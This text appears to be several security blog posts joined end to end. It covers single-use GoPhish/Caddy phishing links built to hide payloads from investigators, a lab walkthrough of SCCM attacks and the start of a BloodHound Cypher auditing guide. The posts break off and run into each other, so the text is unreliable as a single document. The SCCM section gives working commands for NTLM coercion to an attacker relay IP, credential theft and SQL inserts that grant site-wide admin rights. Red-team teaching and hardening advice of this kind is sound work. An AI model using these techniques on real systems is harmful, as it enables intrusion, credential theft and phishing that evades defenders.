Caddy has long caught my attentionas a much nicer alternative to Apache or Nginx which has been widely used by red teams over the years. As a bit of a project to learn more about Caddy and GoPhish, I wanted to try and combine the two to create one time phishing links by leveraging the GoPhish API.
This technique is commonly used as an anti-analysis technique, by offering a payload to the 1st clicker of a link, then offering a non-malicious payload on any subsequent investigation. This can be tweaked based on the environment which you are facing, as you might not always want the link to only be used once. If you read @APTortellini’s post, you can see how else we could extend this…
GoPhish Setup
To start, lets install GoPhish. As this is not to be used in a real engagement/I am being lazy, I will take the pre-built version from their releases.
After unzipping the file, I made the gophish file executable and ran it which exposes a local webserver on https://localhost:3333. This is used to control the server, the initial sign-in details are put into the console for us.
AWS SES Setup
In order to actually send emails, we need to set up an SMTP server for us to send from. Unfortunately this is against the terms of most of the big cloud providers, but I will use AWS SES, as it is low cost option for sending emails out. This does have notable drawbacks for offensive usage, as you will be banned if they receive abuse notifications.
Regardless, it will be fine for a quick and dirty PoC of single usage phishing infrastructure! Below is the cost at the time of writing:
One of the main drawbacks is that we can only send emails to verified email addresses. Lets verify ownership of our target email.
After clicking on the link in the email, we are verified!
We will now create SMTP settings within SES.
I will create a user and then download the credentials from the next page. I will also verify a second email address within SES. This means I can send emails to an actual inbox, rather than the default SES sandbox.
GoPhish Campaign Creation
Back in GoPhish, I will add these SMTP settings into a Sending Profile
I then used the Send Test Email button to verify I had configured this correctly. We then receive the following email in our targets mailbox:
With this working, I configured some basic templates, groups and landing pages in GoPhish. I then configured a Campaign and launched it.
After sending, we get a really clean looking UI within GoPhish, showing we have managed to send out our email.
This page will also show details on who we have targeted and key events on a timeline.
Caddy Setup
Now lets spice it up a little and add some phishing payloads into the mix. We can very easily include an HTML link and send users onto our payload server, which works fine for basic payloads but would mean our payloads could be downloaded by the blue team!
Using Caddy, we can make a basic payload server which will allow us to allow or deny file downloads based on their suffix. For instance, the Caddyfile below will sinkhole any traffic which isn’t to a /downloads/* URL, and will only serve the payload to those URLs within the valid_download_prefixes list – we will generate these later on!
# Only handle traffic which matches our download URL
handle /downloads/* {
# Only allow downloads from explicitly set URLs.
@valid_download_prefixes {
import ../filters/valid_download_urls.caddy
}
# Handle requests which contain a valid prefix
route @valid_download_prefixes {
import valid_download.caddy
}
# By default, assume we will block downloads as being expired
import expired_download.caddy
}
# A catch all to sinkhole any other traffic which doesnt match a URL above.
handle {
import sinkhole.caddy
}
For example, if we set the valid_download_prefixes.caddy file to include path *abc123, then only URLs which end in abc123 will be allowed to download the file, such as /downloads/SOME_TEXTabc123. This is better, but still means that when a valid URL is obtained, then the payload can be downloaded multiple times.
For example, if we apply this configuration, then any URL ending in abc123 will receive the legitimate payload.
But if we try with an ‘invalid’ URL, we get the following error message.
And if we are barking up entirely the wrong tree then we can show a completely different error message via the final handle statement above.
GoPhish API
Using Python and the GoPhish API, we can add some logic to make these URLs only be valid for a single click. First we will need to obtain an API key for GoPhish by visiting the /settings URL. I then installed the official Python library.
We will then get the details on a specific campaign (Assuming we use 1 payload server per campaign). In this case, we will use Campaign 9.
campaign_name = "Campaign 9"
campaign = next((x for x in api.campaigns.get() if x.name == campaign_name), None)
if not campaign:
print(f"Campaign name '{campaign_name}' not found in GoPhish. Try again!")
exit()
# Now lets get the unique ID given to all of the targets.
for result in campaign.results:
print(f"query id={result.id}")
We can take these ID’s and edit the valid_download_urls.caddy file, so that only the IDs generated by GoPhish will work.
Looking at the output of the API, our target was given the ID of b5KcKSx:
The Python script will then parse this out and add an entry to our filter in Caddy. For this example, it will require the id parameter to contain this unique ID in order for a legitimate payload to be delivered.
query id=b5KvKSx
Now we have an auto-generated phishing URL based on the values from GoPhish. If we now access our final URL, then any requests to the /downloads folder containing a query parameter of id=b5KvKSx will obtain the payload.
If a different query parameter is used, then they will get a different response. In this case we will show an ‘expired’ message to add legitimacy, but this could be replaced with anything.
So we are a step closer now, but this isn’t a one time phishing URL just yet!
One Time Phishing
We can use the access logs generated by Caddy to generate a list of visited URLs, which we can then parse to ‘invalidate’ (i.e. redirect traffic) any of our download links. We can easily do this with a command to find the URLs we visited earlier:
With a Python script, we can check for any visited URLs and remove them from our explicitly-allowed Caddy filter. If we loop over this every minute or so, a download link will only remain active for a minute before ‘expiring’. We could shorten this interval to create a true ‘single use’ phishing link.
Lets try this out using a new campaign, so that we have new unique IDs:
We can now visit the download page and get our payload.
And after a minute, the download expires and the filter is updated so that only 1 ID is able to obtain the payload.
If we attempt to re-download the file, then we get an error message. This message would then be shown to any future visitors, such as a blue team response, or a email security product attempting to investigate a reported email.
In summary, I believe the SCCM attack surface is currently not especially well understood or covered by most red teams, outside of the tooling produced by a number of fantastic researchers (below). More organisations need to better understand this area, as I have noticed a number of parallels between SCCM now and ADCS in 2021. Undoubtedly SCCM will remain an area of interest for researchers, red teamers and attackers for some time to come!
This post is based almost entirely on work done by Chris Thompson (@_Mayyhem) and Garrett Foster (@garrfoster), I am simply joining the dots between several of their projects and tools – as well as work from several other researchers!
Tooling & Who To Follow
There is a lot of publicly released tooling to interact with SCCM:
Kali (In reality, this would be behind our C2 infra, but I want the lab to be nice and simple!). I will install:
Imapcket
Responder
2 Users
SCCMLAB\da
Domain Administrator account, mostly to make my life easier when debugging
SCCMLAB\joe.bloggs
Our friendly infected user
Local admin rights on the Win10 device
A Task Sequence
Create a boot image, then a task sequence and set some dummy variables within it
Discovery Methods
Enabled AD Group Discovery on the Domain Computers group
The devices in the lab are as follows:
Device
IP Address
Name
Domain Controller
10.10.0.100
dc.sccmlab.local
SCCM Site Server
10.10.0.101
sccm.sccmlab.local
SCCM SQL Database
10.10.0.102
sccmsql.sccmlab.local
Server 1
10.10.0.151
server1.sccmlab.local
Server 2
10.10.0.152
server2.sccmlab.local
Kali (Attacker)
10.10.0.161
kali
Windows 10 Client
10.10.0.241
win10.sccmlab.local
We will use the joe.bloggs user extensively, who has a password set to a.
General Recommendations
There a LOT of recommendations for how to secure SCCM. Below is a list of recommendations which are collated from Gabriel Prud’homme‘s talk and SharpSCCM’s wiki.
Active Directory
General
Ensure that any accounts used by SCCM for deployment strictly follow least-privilege principles. This includes NAA, Client Push, Task Sequences and Collection Variables.
Check that Tier 0 assets are not being managed by SCCM
Ensure that any SCCM administrator accounts are being treated at the same level as the assets which they manage. I.e. An SCCM site managing all client devices should be be treated as a Tier 0 account.
Check for password re-use or weak passwords used by any of the accounts used by NAA, Client Push, Task Sequences and Collection Variables
Set ms-DS-MachineAccountQuota to 0
Network Access Accounts (NAA)
Dont use NAA’s if possible, use Enhanced HTTP instead – as recommended by Microsoft
Rotate passwords on NAA accounts if they are no longer used, as the credentials can still be cached.
If NAA has to be used, ensure the account has no special permission. It only needs to allow for domain connectivity
Throughout this I will use the Kali machine to refer to an attacker controlled machine, typically being used to listen for incoming NTLM authentication responses.
Network Access
To start with, we will assume that we just have network access and haven’t yet managed to compromise a user. Thankfully SCCM supports unattended deployments through technologies such as PXE. Unfortunately I was unable to get this working in my lab, so have been unable to replicate these attacks:
Recon – Find SCCM Infrastructure
As covered by Gabriel in his talk at BHIS, we can scan for specific open ports which might indicate that SCCM is running on the system.
If PXE is used for for OS deployment, then we can use PXEThief to enumerate through the resources used. If the PXE process doesn’t require a password, then we can use pxethief.py 1 to automatically obtain the relevant images, and parse them for credentials. If it does use a password then we can use option 3 or 5 to try and decrypt the file, or crack the password to the file using Hashcat.
Credential Access – Obtain NAA Creds
Assuming we have access to the network, the network uses PXE for OS deployment and we know the password to start PXE deployment, then we can attempt to join a new machine to the network.
From Christopher Panayi’s talk at DefCon 30, we can press F8 repeatedly to get a SYSTEM shell, where we can then run a VBS script to dump out the environment variables, which can include the _SMSTSReserved1 and _SMSTSReserved2 variables, which are the creds for the NAA account.
Credential Access – Read unattend.xml
Again, assuming we have access to the network, and the network uses PXE deployment, we can attempt to join a new machine to the network.
From Christopher Panayi’s talk, if we wait until the OS installation has begun, we can look in the C:\Windows\panther\unattend\unattend.xml file to see if it contains credentials for domain-joining the new OS.
Standard User
If we assume we have just landed in an environment, there are a number of potential avenues of attack for us. As you can see below, we can now potentially perform some site takeover attacks – which could allow us to gain full permission over an SCCM site.
Recon – Identify Site Information
Using MalSCCM.exe locate, we can identify the site code and the server which is the management point for our current device. We can do the same with PowerSccm using the Find-LocalSccmInfo cmdlet, or directly query the local WMI interface via PowerShell with Get-WmiObject -Class SMS_Authority -Namespace root\CCM
MalSCCM.exe locate
Or we can do this by searching for ‘Configuration Manager’ in the control panel.
We can use SCCMHunter with the findcommand to query LDAP for details on any AD objects.
Finally, we can hunt in information repositories for some terms which are linked to SCCM:
ccm_system
ccm_system_windowsauth
sccm
mecm
AdminService/v1.0
Enumeration – Logs
We can also look through the SCCM logs within C:\Windows\CCM using SharpSCCM with the following command
SharpSCCM.exe local triage
Enumeration – Previously Executed Scripts
From a Primary Site, we can run PowerShell scripts on remote devices. These scripts are stored on the client within the %windir%\CCM\ScriptStore folder, but require admin access to read them.
Luckily for us, these scripts can be PowerShell scripts, which will be logged within the PowerShell logs of any client which it is run on. If PowerShell logging is enabled. We can retrieve the contents of the script by searching through the event logs, using the command below we can look for a password:
Scripts run by the ‘Run Script’ command will be logged if certain (common) criteria are met. These scripts are stored on the remote devices within C:\Windows\CCM\ScriptStore. If we have admin access to the device, then we dont need to rely on PowerShell logging to be enabled, as we can read them from the device itself.
The scripts are protected so that only the SYSTEM user is able to read them. We can spawn a SYSTEM shell using PSExec -s -i cmd.exe and read the contents of the file.
Enumeration – SCCMContentLib
Thanks to 1njected’s CMLoot repo, we can investigate files stored within the hidden SCCMContentLib$ share on Distribution Points. As mentioned in their blog post for WithSecure, the file structure for this share is frustrating to parse through, and it can be quite difficult to correctly secure files in this share.
Using SCCMHunter with the smboption, we can take the results of its find command, and probe each result for SMB shares titled REMINST, which indicate the usage of PXEBoot. PXEBoot can then be exploited with PXEThief to obtain boot images for any devices which are connected to the network – these images can contain domain credentials.
We can then navigate to \\sccm.sccmlab.local in the File Explorer. Notice the REMINST folder in the top right below.
The REMINST/SMSTemp folder can contain *.var files, which can be decrypted to reveal sensitive values. To decrypt any identified files, we can use PXEThief in mode 3, else we can use mode 5 to get the hash of the file. We can decrypt this using Christopher Panyai’s custom hashcat module using mode 19850. After cracking we can then run PXEThief again using mode 3, to decrypt the file. Gabriel’s talk at BHIS includes a demo on how to perform this.
Credential Access – NAA
ms-DS-MachineAccountQuota > 0
The easiest way of obtaining NAA credentials relies on the domain having a ms-DS-MachineAccountQuota value greater than 0, or some way of obtaining machine account passwords. To perform this attack, we will use sccmhunter with the http module, which will create a computer object via the MachineAccountQuota misconfiguration, when using the -auto option. It will then attempt to obtain NAA creds, writing them to the loot folder if successful.
We can read out the loot/sccm_naapolicy.xml file, which is just XML data, which then contains a blob of encoded data to secure the NAA, within the NetworkAccessUsername and NetworkAccessPassword fields.
Under the hood, sccmhunter httpis using the sccmwtf project (to spoof machine enrolment) along with addcomputer.py (To get computer account credentials). XPN’s blog post on the subject is well worth a read though, as it delves into the crypto behind this process.
ms-DS-MachineAccountQuota = 0
(Updated 5/12/23) Ralph Desmanglesadded functionality to sccmhunter, which will pull the NAA credentials from DPAPI, avoiding the need to perform NTLM relaying. We need to provide domain credentials and the server we want to target. In this case, we have local admin rights on our device so we will set the target to 10.0.1.6, which is the IP address for our win10 machine.
sccmhunter.py dpapi -u joe.bloggs -p a -target 10.0.1.6
This is mentioned in the SpecterOps post about NAA’s, which refers to the location within WMI. We can confirm this without using sccmhunter and instead using a admin PowerShell session with the following command:
If we want to avoid using DPAPI for some reason, then thanks to Gabriel Prudhomme’s (@vendetce) talk, we can perform this via coercing authentication (e.g. via PetitPotam).
We can use a modified version of Impacket by Tw1sm to relay NTLM auth and obtain NAA credentials. When copying this, make sure to grab the feature/sccm-relay branch – the master branch doesn’t include the updated version of ntlmrelayx. Also make sure you are using virtual environments in Python here, as this version of Impacket is quite far behind the latest release, so it is liable to not work as expected!
Where --sccm-device is a random value which will represent the device name we will create (So should be random) and --sccm-sleep is a time given to allow things to process. The IP chosen for PetitPotam doesn’t matter, it just needs to be a machine in the domain. This will create fake devices in SCCM, so will require cleaning up after exploitation!
We can now coerce authentication, where 10.10.0.161 is the IP address hosting ntlmrelayx and server1.sccmlab.local is the target to coerce authentication from.
python3 petitpotam.py 10.10.0.161 server1.sccmlab.local -u joe.bloggs -p a -d sccmlab.local
And ntlmrelayx responds by obtaining NAA credentials!
This is the same file as described earlier, so we wont cover decryption here! More details on this attack are in XPN’s blog post on the subject.
I suspect this could also be abused by leveraging pre2k computer accounts, removing the need to perform relaying.
Credential Access – Client Push Account
We can trigger a client push and capture the hashes with Responder.
Note that we get both the machine account and the Client Push account. Password cracking can be attempted using mode 5600 in hashcat.
Another option covered by Christian’s talk at BHIS involves us ‘removing’ our device from SCCM, which will cause it to automatically try to re-enrol it back into SCCM. This does require us to escalate to SYSTEM permissions, and is quite noisy given we are renaming machines, disabling firewalls and so on. It also requires automatic client push and Allow connection fallback to NTLM to be enabled.
As detailed in his talk, this means that one of two accounts will then authenticate onto our machine:
From here, we can then obtain a NTLMv2 hash for one of those accounts. Given the complexity of this, we are likely better using the invoke client-push attack from SharpSCCM if we meet the criteria, as it only requires a low-priv user account.
Lateral Movement – Client Push Account
The premise of this attack is that we can abuse the Client Push account by coercing it to authenticate with our machine. We can then relay this authentication onto other devices to move laterally. The crux of this is that the Client Push account needs to have local admin on all clients to work – so we just need meet the criteria above (SMB signing disabled & not patched). This is from Gabriel’s talk at BHIS, which refers to a talk by Brandon Colley at BSides KC.
This does have a few pre-reqs.
Requires SMB Signing to be disabled on our target – we can find this out with sccmhunter.py sccm.
KB15599094 and KB15498768 to not be installed. If they are installed, then we might be able to do the SCCM Server Machine Account method below
Below is a diagram summarising the attack, ultimately step 4 can be whatever ‘action’ we want to take that leverages NTLM relaying. For example, this could be relaying to ADCS via ESC8.
We will start ntlmrelayx, targeting a server I know already exists (10.10.0.151). I will use the -socks flag so that we can leverage this captured NTLM authentication with a tool of our choice (by using proxychains).
And then we can invoke the Client Push account to authenticate to our domain-joined machine with SharpSCCM , using its invoke client-push command. 10.10.0.161 is the IP address for our ntlmrelayx server.
After a little wait, ntlmrelayx captures the incoming authentication.
We can run the socks command in ntlmrelayx to show the status of the captured sessions.
In this case, I will use smbexec.py to obtain a shell as a demo. Make sure your account (SCCMLAB/SCCMCLIENTPUSH) matches up with the account you captured in ntlmrelayx. Also check proxychains is set to 127.0.0.1:1080, as that is what impacket uses by default.
As described by Chris Thompson of SpecterOps, the computer account for the Primary Site server is required to be a local admin on the SQL server and Management Point computers. Chris describes this in far better detail than I will be able to, but in effect this means that we can coerce NTLM authentication from the Primary Site’s computer account and relay it onto the SQL Server which supports the SCCM site. From this point, you could then grant yourself the Full Administrator SCCM role using SQL commands – giving yourself full access to any system managed by the Site. Gabriel covers this at 1:22:54.
This does require Extended Protection to be disabled in MSSQL. If this is enabled, then we can always relay via SMB onto a Management Point or MSSQL servers, if SMB Signing is disabled. This process is semi-automated with sccmhunter using the mssql module.
In order to be able to execute SQL queries against the site’s SQL server, we will coerce authentication from the site server’s machine account and relay it to the mssql service on the SQL server. This attack works due to a requirement for the site server’s machine account to have local admin rights over the SQL server during the setup of SCCM. See the first image in Chris’s blog as proof.
In the diagram below, the ‘site takeover’ section is only steps 1-4, steps 5-9 detail the exploitation steps if a package is deployed via SharpSCCM (as shown later on).
To start, lets check if we have permission to run a command on server1.sccmlab.local. As expected, we don’t have permission.
Lets stand up ntlmrelayx to capture incoming NTLM authentication requests. We will use SOCKS mode to keep the connection open, which will allow us to use proxychains to run SQL queries against the DB (10.10.0.102).
When this is stood up, we can trigger a Client Push from our infected user account. Don’t forget to set the target (-t) to the IP address of our machine running ntlmrelayx!
ntlmrelayx catches the incoming authentication, notice that SCCM$ manages to authenticate against the mssql service on the penultimate line.
Whilst keeping ntlmrelayx open, lets open another terminal and proxy our SQL queries through to the SQL server. Note that the account name is wrapped in quotes due to it containing a $ sign. We are also using -windows-auth. When we connect we can enter whatever we want for the password.
We will now run sccmhunter.py mssql to determine the SQL command to run. In this, we will set joe.bloggs to have SCCM admin rights on site S01 with the arguments -tu joe.bloggs -sc S01
Resulting in a few SQL statements being generated:
use CM_S01
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (0x0105000000000005150000003B0AC320F4F69FBD8B3F26E644060000,'SCCMLAB\joe.bloggs',0,0,'','','','','S01');
SELECT AdminID,LogonName FROM RBAC_Admins;
Lets run the first set of commands, which will add joe.bloggs into the RBAC_Admins group. We can then prove we have set joe.bloggs to AdminID = 16777218 by running a SELECT query on the RBAC_Admins table
Lets add this into our sccmhunter command to get the final queries, to grant permissions onto the joe.bloggs account.
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (16777218,'SMS0001R','SMS00004','1');
And we can confirm we have added our permissions in:
We can also confirm this by going to Administration -> Security -> Administrative Users within MCM.
Lets run our command again to execute calc.exe on server1.sccmlab.local, this time we have success!
Via AdminService API
Hot off the press!! Garrett Foster recently released a blog post detailing how we can leverage the AdminService API interface to also take over an SCCM site. AdminService API is used to perform SCCM administrative tasks, and is used by the admin and pivotmodules in sccmhunter – which Garrett wrote.
Using their PR to impacket, we will run ntlmrelayx. We can obtain our user’s SID using SharpSCCM.exe local user-sid.
Unfortunately, this attack wouldn’t work for me as my SMS Provider is on the same server as the site server itself, they need to be separate for this attack to work, as shown by my Site’s information below:
This can also be done via pass-the-hash, for example if we can perform ADCS abuse against a user with privilege over the WMI interface. This will be merged into sccmhunter at some point in the future, but can currently be performed with smsadmin
Lateral Movement – NTLM Relay To Other SCCM Clients
If the Client Push account has not been defined in an SCCM environment, the machine account of the SCCM server will be used to push the SCCM client onto endpoints. Therefore, the SCCM site computer account will have local admin rights across the estate. This means that if:
We can coerce authentication from the push account (i.e. PetitPotam)
SMB Signing is disabled (i.e. we can relay)
Then we can relay this authentication onto any SCCM client and gain admin access to it. This should be possible even after the two patches (KB15599094 and KB15498768) are installed. Gabriel has a great demo of this in his talk at 1:19:07. Below we use an example of SMBExec, but this could be any tool which can be used with a relayed NTLM authentication & proxychains.
If we now trigger a client push with SharpSCCM, we only get an authentication request from the SCCM$ account, not the sccmclientpush account.
Due to us having configured a Client Push account before, this attack wont work, due to the SCCM$ account not having local admin rights onto the SCCM managed devices. In another network which has never used a dedicated Client Push account, we would expect to see the computer account as a local admin below.
SQL DB Admin To Primary Site DB
Obtain SCCM User Creds
If we have admin access to the SQL DB which supports the Primary Site, we can read out the encrypted credentials to SCCM users, by reading the SC_UserAccount table. Thanks (Again) to XPN, we can use his PoC ‘sccmdecryptpoc.cs‘ to decrypt the contents of the files, with his Twitter thread covering the process in more detail.
This requires admin access to the server containing the “Microsoft Systems Management Server” CSP for it to work. In practise I believe this means we need to perform the decryption on an SCCM site server – though this doesn’t stop us from obtaining the encrypted value!
Again, we will assume we can coerce authentication and relay it onto the SQL server, though this attack can equally be performed if we have access to the SQL database itself. Lets do our standard setup for ntlmrelayx.
USE CM_S01
SELECT UserName,Password FROM SC_UserAccount
We can then use XPNs SCCMDecryptPoc tool to decrypt this.
Alternatively, we can use Mimikatz to do this so long as we have a valid connectionstring to the DB. This can be done using the misc::sccm /connectionstring:XYZ command. This will come with the associated fun involved with using Mimikatz.
Dumping Task Sequences
We can dump Task Sequences to look for creds and other interesting stuff. Several tables (vSMS_TaskSequencePackage, vSMS_TaskSequencePackageEx and TS_TaskSequence) contain the Sequence column which contains the XML for the Task Sequence. We can find the details on the accounts with the following SQL query:
SELECT TS_ID, Name, Sequence FROM vSMS_TaskSequencePackage
Unfortunately, SCCM doesnt just give us the plaintext XML, with the rows showing the characteristic 0x38393133303030 value. We can decrypt this using DeObfuscateSecretString by Mayyhem, after we convert this from hexidecimal.
Whilst we are likely to have a faster route to domain compromise via a ‘Full Administrator’ SCCM user, Task Sequences might contain other credentials of interest, which arent AD-based. For example, credentials to cloud accounts.
Coerce NTLM Authentication
Thanks to a tweet by Mayyhem, we can use the sp_CP_GenerateCCRByName stored procedure to coerce the site client installation account to authenticate to the ADMIN$ share on a machine of our choosing. We can also specify an IP address rather than relying on SCCM-managed hosts.
USE CM_S01
GO
DECLARE @return_value int
EXEC @return_value = [dbo].[sp_CP_GenerateCCRByName]
@MachineNameList = N'10.10.0.161',
@SiteCode = N'S01',
@bForced = false,
@bForceReinstall = false
SELECT 'Return Value' = @return_value
GO
Primary Site Admin
With ‘Full Administrator’ access to a Primary Site, we can perform a number of powerful attacks against clients managed by the site. This is by design, as a primary site is a Tier 0 asset.
The most basic attack would be to create a group of users we want to target, then deploy an implant to all of their machines using the SCCM GUI. That is quite lame, so we will instead use commands we can execute from within a command line.
At this point, we will assume we have performed a site takeover attack (via AdminService API or SQL).
Recon – Perform Recon Queries
Using sccmhunter we can run recon commands using the AdminService API to gather data and avoid more noisy methods. For example, the admin and pivot methods allow forcollection of various forms of recon data.
I encountered a unsupported hash type md4 error whilst running sccmhunter. As always the solution is found on StackOverflow – we need to update the requests-ntlm library with the following command:
python3 -m pip install -U requests-ntlm
To start with, lets run the admin module, with the following command:
python sccmhunter.py admin -ip 10.10.0.101 -u "SCCMLAB\joe.bloggs" -p "a" -debug
After collection, we are dropped into a CLI where we can run further queries on the data. We can use the help command to find out the available features.
For example, we can find details on all the applications:
Or all of the collections:
To take this to the next step, we can use the pivot module to run further commands. For now its a PoC within sccmhunter, but no doubt we will see this further developed in the future.
We can use the help command within the interface to see the commands available to us:
For example, targeting server2.sccmlab.local, which has a device ID of 16777220:
Lateral Movement – Deploy an application
There are several ways of doing this, for this example we will use MalSCCM. To perform this attack we will create a group of computer objects and then deploy a payload to them. We can create user groups, but due to MalSCCM having to guess the most likely computer object based on the user, it is safer to set the computers manually. Whilst using the tool from an ‘infected’ client device, I found I had to specify the SCCM server with each command to avoid any errors.
To create our group, we will run:
MalSCCM.exe group /create /groupname:1337TargetGroup /grouptype:device /server:sccm.sccmlab.local
We will then set our target device, I had to use all caps rather than using a FQDN for this to work. It is likely that this needs to match the name as shown in the MCM portal, which appears to be the hostname in uppercase.
MalSCCM.exe group /addhost /groupname:1337TargetGroup /host:SERVER1 /server:sccm.sccmlab.local
As mentioned by Nettitude in their post on MalSCCM, in order to deploy an application, we need to host the application on a share which the computer account is able to access. For this example we will pretend that we have found an open share.
Lets now create our malicious application, with the following command:
After hours of banging my head against a wall I couldnt get this to work, but here is what I should have seen:
We can do this all in one using SharpSCCM exec, using the -i or -n parameters, we can deploy our payload/executable to a collection of users.
Lateral Movement – Arbitrary NTLM Coercion
For this attack, we add all of our targets into a group, then create an application which has its UNC path set to one we can control. This application is then deployed and the targets will attempt to authenticate to our share. From this point we can relay the authentication onto a service of our choice. For this example, I will just capture the authentication using ntlmrelayx to prove that it is a viable attack vector.
The command given in Chris’s original writeup has since changed, with the -mp and -sc arguments now required. Note that the targeted device (-d) has to match the hostname. In our case, we had to use SERVER1 rather than server1.sccmlab.local.
And we get inbound authentication requests after SharpSCCM deploys an application. We could relay this onward to a number of services.
Conclusion
And there we go, a whole range of ways of compromising SCCM! Undoubtedly there will be more attack paths and research being released over the coming months, so it is well worth conducting a review of attack paths into and within your own SCCM estate. Using BloodHound is a great way of doing this.
In my previous post, I covered the basics of BloodHound. In this post I will dive into the Cypher query language but we will focus on using it from an assessment/auditing angle – rather than as an attacker. Being able to quantify and detail the issues which exist in a large AD estate is an extremely powerful way of reducing the internal attack surface, forcing attackers (or red teamers!) to become more noisy.
Additionally BloodHound can help to focus remediation efforts, instead of blindly trying to remediate hundreds of users with weak passwords, BloodHound can show the level of access that each account has. This data can be analysed to allow prioritised remediation to be performed on the most powerful accounts first, helping to better secure your environment much faster!
What is Neo4j?
As a brief explainer, BloodHound is a nice GUI which sits on top of a neo4j graphing engine. Neo4j uses the ‘Cypher‘ query language, which we can then use to directly query the raw AD data which neo4j is storing. This allows us to produce more complex queries than are possible within the BloodHound GUI. In particular it allows us to generate tables and calculate certain values (i.e. How many users have admin access to another system? How many of them are kerberoastable?)
The query structure is slightly unusual, but it does have a fair amount of similarity to SQL. The main function we will use is the MATCH operator, which allows us to query the dataset in a similar way to SELECT would in SQL. To access the Neo4j console, we will navigate to localhost:7474 on our machine which is running Neo4j.
A Basic Query
We can run a basic query to pull back a single user with the following query:
MATCH (u:User) WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" RETURN u
Whilst this is quite simple, it does show that the syntax is very similar to SQL. If we look in the graph, Neo4j will return all the nodes which match this query. In this case it is just one account.
The u variable above will allow us to refer to all of the users impacted by the query above. For example, we can find all the users whose name begins with ‘BD’ using the query below. This will set u to represent all 5 users:
MATCH (u:User) WHERE u.name STARTS WITH "BD" RETURN u
In order to return a single attribute from these users, we can change the value which we are returning. If we read the BloodHound documentation, there are a number of potential properties to return. We can also select the Table view to see all of the properties stored in the object:
We could then alter our query to just return the displayname field with the following query:
MATCH (u:User) WHERE u.name STARTS WITH "BD" RETURN u.displayname
And we don’t have to just use Users, if we partially complete a query then Neo4j will suggest other types of we can use.
For example, we can return groups which begin with ‘IT’ by altering the query from MATCH (u:User) to MATCH (u:Group).
MATCH (u:Group) WHERE u.name STARTS WITH "IT" RETURN u.name
Analysing Relationships
This is all well and good, but the power of Neo4j comes from being able to identify relationships between nodes. To do this, lets find all the groups which BDELUNG00508 is within. To do this, we will need to search for Users which are a member of a group. This is done by using the following syntax:
MATCH (u:User)-[:MemberOf]->(g:Group)
This uses the ‘MemberOf’ edge in BloodHound to reveal users who are a member of a group. We will then need to filter this dataset down to only include the Brendan Delung user from our previous post, which we can do with the following command:
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
And finally, return the group names with
RETURN g.name.
Giving us a final command of:
MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN g.name
This is the equivalent command to the one we used in our original post, which can be represented by the following graph:
We can do some further queries to manipulate the data, for instance, what if we only want to return the nested groups? To do this, we can use the *2.. Operator on the relationship section of the query to ensure that there are 2 consecutive MemberOf relationships. This will return the two groups on the right of the above image.
MATCH (u:User)-[:MemberOf*2..]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN g.name
Or if we want to ignore any of the groups beginning with “Operations“, then we can use the NOT operator:
MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" AND NOT(g.name STARTS WITH "OPERATIONS")
RETURN g.name
Pathfinding
If we want to represent any of these as a ‘path’ rather than a table, we can use the p= operator. For example, if we want to view the previous query as a path we would add p= to the beginning of the query and return the p variable.
MATCH p=(u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM" AND NOT(g.name STARTS WITH "OPERATIONS")
RETURN p
We can run this query in BloodHound using the ‘Raw Query‘ tab at the bottom of the screen. This allows us to interact with the results using the BloodHound GUI, rather than Neo4j. Below we can see the query above but within the GUI.
Finally, using one of the previous queries we can use the COUNT operator to count the amount of results returned. We will use this extensively later on. In this case, we will count the number of groups which BDELUNG00508 is explicitly added to, ignoring any nested groups.
MATCH (u:User)-[:MemberOf]->(g:Group)
WHERE u.name = "BDELUNG00508@HTTP418INFOSEC.COM"
RETURN COUNT(g) AS GroupCount
Assessing AD
Enough of the theory, lets start to combine some of these features together! In this section I will cover a range of queries which I have had success with previously. Most of these queries can be repurposed to cover whatever group of assets you are interested in. Common examples of groups might be:
AD Administrators/privileged accounts
Tier 0 or Tier 1 assets
Privileged Software users
ADCS
ADFS
SCCM
AV/EDR
Backup systems
Exchange Admins
Interesting user groups
Developers
SOC
Cloud Admins
Find All Nested Users For A Specific Group
This is handy to find all of the users for a specific AD group. By analysing multiple nested groups, we can find users who have access to our chosen group, but we might not have been aware of. This is very similar to the query used above, except we are finding the users in a group, instead of the groups a user is in. Also we are using the DISTINCT function for the output, to prevent duplicate results.
In this query, several other parameters are also returned which can be handy for further analysis. For example pwdlastset can help us find accounts which have old passwords, or the description field can shed light as to why this user has access to this group. In this example I am using the Domain Admins group, but it works well against systems such as Exchange with groups such as Exchange Recipient Administrators.
The 1..5 operator should be modified depending on the complexity of the environment. I would recommending starting at 1..2 or 1..3 (i.e. A maximum of 2 or 3 nested groups), as this will get exponentially more complex, and can cause BloodHound to crash if you arent careful!
MATCH (u:User)-[:MemberOf*1..5]->(g:Group)
WHERE g.name = "DOMAIN ADMINS@HTTP418INFOSEC.COM" AND u.enabled = true
RETURN DISTINCT(u.name) AS UserName, u.pwdlastset, u.lastlogon, u.description
ORDER BY u.pwdlastset ASC
Find Exploitable Edges To A Wildcard Group Name
This allows us to find users who have an exploitable relationship with an object which is then a member of a group of interest. An exploitable relationship in this case would mean that further actions need to be taken before the user actually has access to the group. For example, it might have an AddMember permission over a group – so whilst they dont currently have access to the group, they could add themselves into it.
In the example below, we are looking for users who could grant themselves access to an AD object, which is then in turn a member of a group with ‘Exchange’ in its name (WHERE g.name =~ "(?i).*exchange.*").
This is handy to find users with dangerous misconfigurations which could lead to sensitive applications becoming compromised. This deliberately doesn’t include the MemberOf edge in the first section of the MATCH statement – as we are specifically looking for the more hidden misconfigurations.
